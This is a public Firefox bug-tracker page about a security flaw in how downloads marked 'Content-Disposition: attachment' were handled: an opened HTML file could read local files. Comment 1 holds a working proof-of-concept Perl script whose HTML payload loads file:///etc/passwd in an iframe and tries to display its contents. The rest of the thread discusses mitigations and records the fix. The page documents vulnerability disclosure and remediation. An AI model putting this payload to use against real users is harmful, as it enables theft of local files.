Closed
Bug 369462
Opened 17 years ago
Closed 3 years ago
"Content-Disposition: attachment" + text/html allows the downloaded file to read some parts of the user's filesystem
Categories
(Toolkit :: Downloads API, defect)
Toolkit
Downloads API
Tracking
()
RESOLVED
FIXED
People
(Reporter: guninski, Unassigned)
References
()
Details
(Keywords: sec-moderate, Whiteboard: [sg:moderate])
Attachments
(1 file)
306 bytes,
application/x-perl
|
Details |
known filenames in external applications on linux and macosx opening a pdf novell.pdf in document viewer creates the file: on linux: $HOME/tmp/novell.pdf on macosx: $HOME/Desktop/novell.pdf the extension may be arbitrary, so ability to open local files in firefox allows reading local files if a pdf is opened.
Reporter | ||
Comment 1•17 years ago
|
||
modification of this allows reading local files at least on ubuntu. perl script named "att.html" containing html but served: Content-type: application/x-java-jnlp-file produces a dialog basically saying: "do you want to open an html file with firefox". if open is chosen, the file is opened from the filesystem, allowing reading local files. perl script, save in cgi-bin as att.html ; chmod +x att.html -------------- #!/usr/bin/perl print "Content-type: application/x-java-jnlp-file\r\n"; #print "Content-Disposition: attachment;filename=aaa\r\n"; print "\r\n"; print "attach\n"; print "<iframe id='i1' src='file:///etc/passwd'></iframe><script>setTimeout('alert(document.all.i1.contentWindow.document.body.innerHTML)',2000)</script>";
Reporter | ||
Comment 2•17 years ago
|
||
Reporter | ||
Comment 3•17 years ago
|
||
another exploit vector allowing stealing local files at the cost of innocent dialog asking to start firefox is: print "Content-Disposition: attachment;filename=aaa.html\r\n";
Assignee | ||
Updated•16 years ago
|
Product: Firefox → Toolkit
Comment 5•15 years ago
|
||
Maybe Firefox should put each file downloaded due to content-disposition:attachment into a new subdirectory of the tmp directory. That way, the downloaded file will only be able to access itself (thanks to the fix for bug 230606). For files saved manually, it may be trickier to fix this problem without hurting user experience.
Depends on: 230606
Summary: known filenames in external applications on linux and macosx → "Content-Disposition: attachment" + text/html allows the downloaded file to read some parts of the user's filesystem
Version: 1.8 Branch → Trunk
Reporter | ||
Comment 6•15 years ago
|
||
>Maybe Firefox should put each file downloaded due to >content-disposition:attachment into a new subdirectory of the tmp directory. this seems nice. the main exploit vector is that content-disposition ask innocent question and may hurt. >For files saved manually, it may be trickier to fix this problem without >hurting user experience. agreed
Updated•15 years ago
|
OS: Linux → All
Hardware: x86 → All
Comment 7•15 years ago
|
||
IIRC, one of the speakers at BlackHat/DEFCON 2009 came very close to discovering this bug. I don't think we can keep it secret for long, and if it's really still [sg:moderate] with the partial same-origin tightening in bug 230606, we need to do something. Possible solutions: 1) Use a Downloads folder on all platforms (not Desktop or tmp), so the files exposed are at least limited to other downloads. 2) Randomize the filenames of all (other) downloaded files. 3) Put content-disposition:attachment files in subdirectories of the Downloads rather than directly in Downloads. 4) Tighten the same-origin policy for local files to same-file-only. 5) Tighten the same-origin policy only in "special" directories (Downloads, tmp). Even once Firefox uses a Downloads directory on all platforms, this bug is still scary. For example, maybe there's a URL I can send you to that will cause you to download your Gmail address book as a file, with a filename I know. Demo: http://www.squarefree.com/content-disposition-attachment/read.html
Comment 8•15 years ago
|
||
("Attacking Tor at the Application Layer" was the talk that revealed or almost revealed this bug.)
Comment 9•12 years ago
|
||
[Quickly skimming through security bugs.] Is this still an issue? For quite a while now we've placed same-origin restrictions on file:///, so that reading things in other directories (or even the same directory) shouldn't be possible. I'm not sure what, if anything, could be done about the "revealing the path" issue... If you save a file to /usr/bacon/download/foo.html, foo.html is going to be able to see its path as "/usr/bacon/download/". I suppose we could try blocking that, but I'd worry that it could leak in from other areas. Perhaps this merits a downgrade to sg:low as "just" a privacy issue?
Comment 10•12 years ago
|
||
script still reads my /etc/passwd into the HTML if I choose to open it, so yes, still an issue. Whatever same-origin restrictions are supposed to be on file:// url's aren't stopping it. bz/biesi/honza: any ideas how to fix this?
![]() |
||
Comment 11•12 years ago
|
||
> script still reads my /etc/passwd into the HTML if I choose to open it
Reads it in as in loads it in the iframe? Or as in alerts its contents?
![]() |
||
Comment 12•12 years ago
|
||
As far as I can tell, it's just the former, as long as "security.fileuri.strict_origin_policy" is set to its default value of "true". As in, the system is working as expected. Do you see something different?
Comment 13•12 years ago
|
||
reads into inframe, no alert.
![]() |
||
Comment 14•12 years ago
|
||
That sounds like this bug is fixed as filed; it's no different from web sites being able to frame (but not read) each other.
![]() |
||
Comment 15•12 years ago
|
||
For me contentWindow.document is not accessible for file in a different directory. But it is accessible for a file in the same directory or its subdirectory. So, the restriction to "this file only" doesn't work here. That could be potentially dangerous. Tested with the current Aurora build. In my case the directory (Win7) is: c:\Users\<user>\AppData\Local\Temp\ If we have a FirefoxDownloads sub dir in it and there sub dir for each file downloaded we mitigate this attack. However when user downloads the file and opens it from the download location then files in the download folder are still subject to this exploitation. IE, for example, asks explicitly a user if he wants to allow JavaScript when opening a local file.
![]() |
||
Comment 16•12 years ago
|
||
> But it is accessible for a file in the same directory or its subdirectory. Yes, that's what the file:// same-origin policy looks like. It's not "this file only" at all, and is very well documented. > IE, for example, asks explicitly a user if he wants to allow JavaScript when opening a > local file. Yep. Maybe we should consider that too. Alternately, we could put each download in a separate directory in the temp dir...
Comment 17•12 years ago
|
||
Putting each download into a subdir sounds like really bad UX, so I'd like to avoid that. I sorta like IE's idea for just opening a prompt to check if running script should be allowed. How about we close this as-filed, and open a new bug on doing that. (Probably referencing back here.) This bug could probably just be opened up, too.
Comment 18•12 years ago
|
||
Putting each download in a subdir would be invisible for files in tmp/. I'd rather tighten the same-origin policy than prompt for all scripts in local files. Scripts are extremely common and we'd be prompting all the time. (See comment 7 #4 / #5).
![]() |
||
Updated•12 years ago
|
Keywords: sec-moderate
Updated•8 years ago
|
Group: core-security → toolkit-core-security
Updated•5 years ago
|
Group: toolkit-core-security → firefox-core-security
Comment 19•3 years ago
|
||
Now that bug 803143 is fixed, I think this is fixed too, Dan?
Flags: needinfo?(dveditz)
Updated•3 years ago
|
Status: NEW → RESOLVED
Closed: 3 years ago
status-firefox-esr68:
--- → fixed
status-firefox-esr78:
--- → fixed
Depends on: 803143
Flags: needinfo?(dveditz)
Resolution: --- → FIXED
Updated•3 years ago
|
Group: firefox-core-security → core-security-release
Updated•2 years ago
|
Group: core-security-release
You need to log in
before you can comment on or make changes to this bug.
Description
•